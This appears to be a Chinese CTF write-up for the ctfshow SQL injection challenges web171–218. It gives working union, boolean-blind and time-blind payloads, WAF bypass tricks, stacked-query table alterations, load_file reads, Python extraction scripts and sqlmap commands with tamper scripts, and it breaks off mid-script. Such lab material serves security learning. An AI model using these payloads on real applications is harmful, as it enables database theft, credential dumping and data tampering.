ctfshow web入门 sql注入
无过滤注入
web171
查询语句
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
单引号闭合,未做任何过滤
payload:
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ //ctfshow_user
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'--+
//id,username,password
1' union select 1,group_concat(id,username,password),3 from ctfshow_user --+
也可以用万能密码
1'or 1=1--+
web172(过滤回显内容)
查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
单引号闭合,并且给出数据库是ctfshow_user2,判断只有两个回显位,返回逻辑告诉我们不能有flag字段,所以可以用
payload:
1' union select 1,group_concat(id,username,password) from ctfshow_user2 --+
或
1' union select to_base64(username),hex(password) from ctfshow_user2 --+
web173
与上题基本一致,数据库为ctfshow_user3
payload:
1' union select id,to_base64(username),hex(password) from ctfshow_user3 --+
web174—(盲注、字符置换)
返回逻辑，不能有flag和数字
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
抓包发现url,有回显可以用盲注
http://1232e425-5021-4b0c-ad43-675c395061e7.challenge.ctf.show/api/v4.php?id=1
regexp匹配ctf开头字符,代码能力不是很强,所以可能会有很多多余部分,师傅们可以参考使用
#@Auth：Sentiment
import requests
url="http://37fbe478-a31b-45aa-b027-610f5342ae76.challenge.ctf.show/api/v4.php"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="?id=1' and ascii(substr((select database()),{},1))<{}--+".format(i,mid) #数据库ctfshow_web
#payload="?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{},1))<{}--+".format(i,mid) #表名ctfshow_user4
#payload = "?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{},1))<{}--+".format(i, mid) #列名id,username,password
payload="?id=1' and ascii(substr((select password from ctfshow_user4 where password regexp('^ctf')),{},1))<{}--+".format(i,mid)
r=requests.get(url=url+payload)
if "admin" in r.text:
n=mid
else:
m=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
附一段大佬payload,基本思路就是字母置换
0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' %23
0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q
web175(时间盲注)
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
不能回显ascii码0-127的内容,无回显了可以用时间盲注
在上题的基础上稍加修改即可
#@Auth：Sentiment
import requests
url="http://9234c127-b6c4-4282-ae2b-ffd329794833.challenge.ctf.show/api/v5.php"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="?id=1' and if(ascii(substr((select database()),{},1))<{},sleep(2),0)--+".format(i,mid) #数据库ctfshow_web
#payload="?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{},1))<{},sleep(2),0)--+".format(i,mid) #表名ctfshow_user5
#payload = "?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{},1))<{},sleep(2),0)--+".format(i, mid) #列名id,username,password
payload="?id=1' and if(ascii(substr((select password from ctfshow_user5 where password regexp('^ctf')),{},1))<{},sleep(2),0)--+".format(i,mid)
#print(payload)
try:
r = requests.get(url=url + payload,timeout=1.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
过滤注入
web176(大小写绕过)
输入1’ union select 1,2,3–+发现返回出错，估计是有过滤
尝试大小写绕过，发现有回显了
1’ union sElect 1,2,3–+
payload:
1' union sElect 1,2,password from ctfshow_user --+
也可以用万能密码
1' or 1=1--+
web177(过滤空格)
过滤select、空格
可以用/**/或%0a代替空格,%23代替注释符
1'/**/union/**/sElect/**/1,2,password/**/from/**/ctfshow_user%23
万能密码
1'/**/or/**/1=1%23
web178(过滤/**/)
过滤select、空格、*
过滤*不能用/**/,可以用%0a,%09,%0b,%0c,%0d和括号代替
payload:
1'%0aunion%0asElect%0a1,2,password%0afrom%0actfshow_user%23
万能密码
1'or(1=1)%23
web179(过滤%09、%0a)
过滤select、空格、*、%09、%0a
可以用%0b,%0c,%0d和括号代替
1'%0cunion%0csElect%0c1,2,password%0cfrom%0cctfshow_user%23
万能密码
1'or(1=1)%23 或 1'or%0c1=1%23
web180(过滤#、–+)
过滤select、空格、*、%09、%0a、%23
%23给ban了,可以用–%0c-代替,或将其闭合
payload:
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c-
26'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
Y4tacker师傅的绕过姿势
'or(id=26)and'1'='1
相当于
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
web181(过滤select)
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
过滤了所有空格,只能使用括号,并且对select的大小写都会检测,因此使用上题的Y4tacker师傅的payload即可
payload；
'or(id=26)and'1'='1
web182
多过滤了flag,上题payload即可
web183(like注入)
查询语句
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回逻辑
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
括号代替空格,根据之前的表ctfshow_user,post传参tableName=ctfshow_user发现有回显,直接盲注脚本跑一下(%为模糊查询符)
Exp
#@Auth：Sentiment
import requests
url='http://dfff081a-50eb-47e7-9e44-0025baaf6e31.challenge.ctf.show/select-waf.php'
flag='ctfshow{'
for i in range(100):
for j in '1234567890abcdefghijklmnopqrstuvwxyz-{}':
data={
'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
#'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
print(data)
res=requests.post(url=url,data=data).text
if '$user_count = 1;'in res:
flag+=j
print(flag)
break
web184(过滤where)
在上一题的基础上过滤了单双引号、where
用16进制来匹配，用right join进行连接查询,或having查询
right join 参考:
Sqlserver_left join 、right join、 inner join 用法 - 彪悍的代码不需要注释 - 博客园 (cnblogs.com)
group by having 参考
SQL中的group by 、count、 having 的简单用法_wangmiaoyan的博客-CSDN博客
group by having脚本
#@Auth：Sentiment
import requests
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url='http://2f8e6f9c-716d-4c93-8174-1420f5e8d096.challenge.ctf.show/select-waf.php'
flag='ctfshow{'
for i in range(100):
for j in '1234567890abcdefghijklmnopqrstuvwxyz-{}':
data={
#'tableName':"ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(flag+j+"%"))
'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%")) // inner join连接查询
}
print(data)
res=requests.post(url=url,data=data).text
if '$user_count = 22;'in res:## group by:1 inner join:22
flag+=j
print(flag)
break
Y4师傅的right join连接查询脚本
# @Author:Y4tacker
import requests
url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"
flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
web185(true代替数字,concat+chr代替引号)
返回逻辑
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
在上题的基础上又过滤了数字,可以用true代替数字,附一张图(sql中true=1、true+true=2以此类推)
用concat将true进行连接
EXP
#@Auth：Sentiment
import requests
def Num(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
def StrNum(s):
str=""
str+="chr("+Num(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+Num(ord(i))+")"
return str
url='http://56e8b657-7430-4ad6-b17a-a8c55559f2fb.challenge.ctf.show/select-waf.php'
flag='ctfshow{'
for i in range(100):
for j in '1234567890abcdefghijklmnopqrstuvwxyz-{}':
data={
'tableName':"ctfshow_user group by pass having pass like(concat({}))".format(StrNum(flag+j+"%"))
}
print(data)
res=requests.post(url=url,data=data).text
if '$user_count = 0;'not in res:
flag+=j
print(flag)
break
web186
同上
web187(md5注入)
有手就行(狗头)
用户名填写admin密码为ffifdyop
web188(mysql弱类型比较)
查询语句
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
考察mysql弱比较
mysql也是存在弱类型比较的
字符串当作数字处理,即当mysql中字符串与数字做比较的时候，会将字符串当作数字来比较。如123bac会当作123处理。
因此我们在查询的时候即使username=0，也会返回一些以0开头的数据。
弱类型中字符串会转为0,因此下列式子是成立的,即SELECT * FROM kk where 0,会查出所有字符串开头的信息
SELECT * FROM kk where username = 0 and password = 0
payload:
username=0&password=0
或
username=1||1&password=0
web189(过滤select load_file+regexp盲注)
题目中提示flag在/api/index.php中,并且过滤了select,所以可以通过load_file来读取index.php中的flag值,并通过上题中的username=0绕过,username为0时返回密码错误,为1时显示查询失败,构造语句:
username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{'),0,1)&password=0
EXP
#@Auth：Sentiment
import requests
url='http://f302ea73-14d5-41a9-a4db-1911dca4a15c.challenge.ctf.show/api/index.php'
flag='ctfshow{'
for i in range(100):
for j in '1234567890abcdefjhijklmnopqrstuvwxyz-{}':
data={
'username':"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)#".format(flag+j),
'password':0
}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag+=j
print(flag)
break
else:
continue
布尔盲注
web190(json类型盲注)
无过滤盲注
EXP
#@Auth：Sentiment
import requests
url='http://5b13170f-90be-42b5-bbae-f508d1681b51.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid),#ctfshow_fl0g,ctfshow_user
#'username':"admin' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i, mid), # id,f1ag
'username':"admin' and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid), # ctfshow{8b130bd8-09a0-4c60-a748-b204536bfd01}
'password':0
}
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m + 1 == n):
flag += chr(m)
print(flag)
break
web191(盲注-过滤ascii)
过滤了ascii,可以用ord代替
EXP
#@Auth：Sentiment
import requests
url='http://aaf03029-d0ec-42c2-bac1-b2f62b16b736.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid),#ctfshow_fl0g,ctfshow_user
'username':"admin' and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i, mid), # id,f1ag
#'username':"admin' and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid), # ctfshow{8b130bd8-09a0-4c60-a748-b204536bfd01}
'password':0
}
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m + 1 == n):
flag += chr(m)
print(flag)
break
web192(盲注-过滤ord)
过滤ascii、ord
可以用chr来比较
EXP
#@Auth：Sentiment
import requests
url='http://ac85e067-874a-4ede-b8f6-76d459a12bef.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"admin' and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<'{}'#".format(i,chr(mid)),#ctfshow_fl0g,ctfshow_user
#'username':"admin' and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<'{}'#".format(i, chr(mid)), # id,f1ag
'username':"admin' and (substr((select f1ag from ctfshow_fl0g),{},1))<'{}'#".format(i, chr(mid)), # ctfshow{7b03d3e9-190a-43f2-9b13-008c7d2ce6f7}
'password':0
}
#print(data)
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
n=mid
else:
m=mid
if (m + 1 == n):
flag += chr(m)
print(flag.lower())
break
web193(过滤substr like注入)
过滤ascii、ord、substr
可以用like或者regexp代替
EXP
#@Auth：Sentiment
import requests
url='http://499b6649-1a2d-43ff-9094-7767b2cb60cd.challenge.ctf.show/api/index.php'
flag=''
for i in range(100):
for j in 'abcdefghijklmnopqrstuvwxyz0123456789-_,{}':
data={
#'username':"admin' and (select group_concat(table_name) from information_schema.tables where table_schema=database())like'{}'#".format(flag+j+'%'),#ctfshow_flxg
#'username':"admin' and (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')like'{}'#".format(flag+j+'%'), # id,f1ag
'username':"admin' and (select f1ag from ctfshow_flxg)like'{}'#".format(flag+j+'%'), # ctfshow{7b03d3e9-190a-43f2-9b13-008c7d2ce6f7}
'password':0
}
r=requests.post(url=url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag+=j
print(flag)
break
web194(过滤substr locate注入)
同上
另外本题还可以用locate
payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,0)#"
locate的用法
语法 一：
LOCATE(substr,str)
返回字符串substr中第一次出现子字符串的位置 str。
语法 二：
LOCATE(substr,str,pos)
返回字符串substr中第一个出现子 字符串的 str位置，从位置开始 pos。0 如果substr不在，则 返回str。返回 NULL如果substr 或者str是NULL。
1. mysql> SELECT LOCATE('bar', 'foobarbar');
2. -> 4
3. mysql> SELECT LOCATE('xbar', 'foobar');
4. -> 0
5. mysql> SELECT LOCATE('bar', 'foobarbar', 5);
6. -> 7
参考y4师傅的脚本
EXP
#@Auth：Sentiment
import requests
url = "http://32b4cad0-974a-4a74-96df-4a293f503e8b.challenge.ctf.show/api/"
final = ""
str = "abcdefjhijklmnopqrstuvwxyz12345567890-_{}"
for i in range(1,45):
for j in str:
final += j
# payload = f"admin' and if(locate('{final}',(select table_name from information_schema.tables where table_schema=database()))=1,1,0)#" # ctfshow_flxg
# payload = f"admin' and if(locate('{final}',(select column_name from information_schema.columns where table_name='ctfshow_flxg'))=1,1,0)#" # f1ag
payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg ))=1,1,0)#"
data = {
'username': payload,
'password': '1'
}
#print(data)
r = requests.post(url,data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
print(final)
else:
final = final[:-1]
堆叠注入
web195(堆叠注入-过滤空格)
堆叠注入，过滤空格
可以用反引号区分关键字使用,将pass直接改为1
payload:
0;update`ctfshow_user`set`pass`=1
1
web196
提示过滤了select,但实际没ban select因此造成了非预期,暂时不知道预期解是啥
payload:
0;select(1)
1
web197(堆叠注入-更改列名)
没有了update无法更改密码了。但是这个判断的话我们可以通过将pass字段和id字段互换。
payload
username:0;alter table `ctfshow_user` change `pass` `k1he` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255);
password:1
传参后username为
web198
同上
web199—200
因为这里作比较的主要是查询后的结果和传入的参数比较。又有row[0]的存在。
因此190-200都可使用这个非预期payload
username:0;show tables;
password:ctfshow_user
sqlmap
web201(sqlmap)
题目中提示
使用--user-agent 指定agent
使用--referer 绕过referer检查
–user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是：sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改，同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入
–referer=REFERER sqlmap可以在请求中伪造HTTP中的referer，当–level参数设定为3或者3以上的时候会尝试对referer注入
查询数据库
python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --dbs --referer=http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php
查表名
python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables
查列名
python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -columns
查字段
python sqlmap.py -u "http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/api/?id=1" --referer=http://28e537e8-e95e-4fd6-9eed-64a834f1fffd.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump
web202(sqlmap-data)
题目提示
使用--data 调整sqlmap的请求方式
用–data改成post请求方式即可
payload:
python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4e6a.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs
python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4e6a.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -tables
python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4e6a.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -columns
python sqlmap.py -u "http://15b78f5c-eced-4983-bd9a-39fa94cf4e6a.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
web203(sqlmap-method)
题目提示
使用--method 调整sqlmap的请求方式
–method 指定 put 请求方式，还要加上 --headers="Content-Type: text/plain"否则 put无法接收表单参数。
payload：
python sqlmap.py -u "http://bbe1ab37-2b33-4696-b7b5-7904a0f107aa.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
web204(sqlmap-cookie)
题目提示
使用--cookie 提交cookie数据
payload：
python sqlmap.py -u "http://f00571db-7146-4342-a852-bfa8b9a2da9e.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --cookie="PHPSESSID=i0v1p6t9nj86pdv94ljf0t035a;ctfshow=6459490db328da7d0f5732fd12e693f8" --dump
web205(sqlmap-api鉴权)
题目提示
api调用需要鉴权
js代码中可以发现,在每次访问/api/index.php,需要先请求/api/getToken.php
所以这里需要设置两个参数
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
payload:
python sqlmap.py -u "http://249bb232-481e-4d45-9aa3-71c2930344b8.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://249bb232-481e-4d45-9aa3-71c2930344b8.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch
web206
题目提示
sql需要闭合
变成了’)闭合方式,但sqlmap会自己识别,所以上题payload即可
web207(sqlmap-tamper过滤空格)
题目提示
--tamp.er 的初体验
要开始使用tamper了
付一些tamper自带的脚本
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符（”），（’–‘）后跟一个破折号注释，一个随机字符串和一个新行（’n’）
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格，包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号（>）
space2mysqldash.py替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符（“”）从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
本题只过滤了空格,因此可以直接使用space2comment.py，用/**/代替空格
payload:
python sqlmap.py -u "http://bba43734-4e7f-4cc9-b432-c7d28e4fb476.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://bba43734-4e7f-4cc9-b432-c7d28e4fb476.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="tamper/space2comment.py" --batch
web208(tamper过滤select、空格)
过滤select、空格
可以用unionalltounion.py替换select绕过
payload:
python sqlmap.py -u "http://1b17c984-81f6-4085-ad8a-bf67223892d8.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url=http://1b17c984-81f6-4085-ad8a-bf67223892d8.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="tamper/unionalltounion.py,tamper/space2comment.py" --batch
web209-213
需要写tamper,实力不允许啊~~
时间盲注
web214(时间盲注-数字型)
时间盲注，无过滤
找了半天才找到了注入点
EXP
#@Auth：Sentiment
import requests
url="http://b88eed8b-d22b-424a-a07e-0a698613b0e9.challenge.ctf.show/api/index.php"
flag=''
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(2),0)".format(i,mid),'debug':"0" #ctfshow_flagx
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagx'),{},1))<{},sleep(2),0)".format(i,mid),'debug':"0" #id,flaga,info
'ip':"if(ascii(substr((select flaga from ctfshow_flagx),{},1))<{},sleep(2),0)".format(i,mid),'debug':"0" #ctfshow{cca03fdf-2737-491e-8709-9e20f78f4789}
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=1.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web215(时间盲注-字符型)
提示用了单引号,所以要进行闭合
EXP
#@Auth：Sentiment
import requests
url='http://f10cabf3-1700-4a5a-abec-aea5d330a2ce.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"'or if (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(1),0)#".format(i,mid),#ctfshow_flagxc,ctfshow_info
#'ip': "'or if (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},sleep(1),0)#".format(i, mid), # id,flagaa,info
'ip': "'or if (ascii(substr((select flagaa from ctfshow_flagxc),{},1))<{},sleep(1),0)#".format(i, mid), # ctfshow{ba17baf8-3fae-41de-8817-ddc47f6a0946}
'debug':0
}
#print(data)
try:
r=requests.post(url=url,data=data,timeout=1)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web216(时间盲注-字符型)
查询语句
where id = from_base64($id);
from_base64会对payload进行解密,但只需要用括号将其闭合即可
#@Auth：Sentiment
import requests
url='http://20b1f172-b384-43f5-a2c9-b41931fa9f7f.challenge.ctf.show/api/index.php'
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
'ip':"1)or if (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(1),0)#".format(i,mid),#ctfshow_flagxcc,ctfshow_info
#'ip': "1)or if (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))<{},sleep(1),0)#".format(i, mid), # id,flagaac,info
#'ip': "1)or if (ascii(substr((select flagaac from ctfshow_flagxcc),{},1))<{},sleep(1),0)#".format(i, mid), # ctfshow{b0c287b8-a8d3-4e10-b4e2-9922ff13f12c}
'debug':0
}
#print(data)
try:
r=requests.post(url=url,data=data,timeout=1)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
web217(时间盲注-benchmark)
过滤了sleep
可以用benchmark代替,但benchmark费时误差又大,所以这里借鉴了feng师傅的思路,使用了time.sleep函数使每请求一次延迟0.2秒，提高准确率，且每爆出一个字母后就再延迟1.2秒，以免服务器卡顿，这样每条请求之间间隔一定的时间，虽然爆起来比较慢，但是准确率可以说是100%，不至于受到服务器和网速的影响。
EXP
#@Auth：Sentiment
import requests
import time
url="http://f563ebb3-cced-467b-b970-59f54fb5c9a0.challenge.ctf.show/api/index.php"
flag=''
for i in range(50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #ctfshow_flagxccb,ctfshow_info
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #id,flagaabc,info
'ip':"if(ascii(substr((select flagaabc from ctfshow_flagxccb),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid),'debug':"0" #ctfshow{d0ec2f99-1463-480a-b2d0-f5bb3d464411}
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
time.sleep(0.2)
time.sleep(1)
web218(rlike注入)
过滤sleep、benchmark
可参考其它方式:SQL注入有趣姿势总结 - 先知社区 (aliyun.com)
rpad()
RPAD()函数将一个字符串用另一个字符串填充到一定长度。
SELECT RPAD("SQL Tutorial", 20, "ABC");
//SQL TutorialABCABCAB 用“ABC”右键填充字符串，总长度为20：
rlike和benchmark其实是差不多的,rlike主主要是通过rpad()将字符填充到很大的长度,在通过rlike或regexp进行正则匹配,SQL在计算式会产生一段时延,从而完成延时判断
这里用rlike或regexp代替过滤关键字
#@Auth：Sentiment
import requests
import time as t
url='http://1f9f1f2c-622c-49cb-ac6f-83440455a1e5.challenge.ctf.show/api/index.php'
time="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
flag=''
for i in range(50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},{},0)".format(i,mid,time),'debug':"0" # ctfshow_flagxc,ctfshow_info
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},{},0)".format(i,mid,time),'debug':"0" #id,flagaac,info
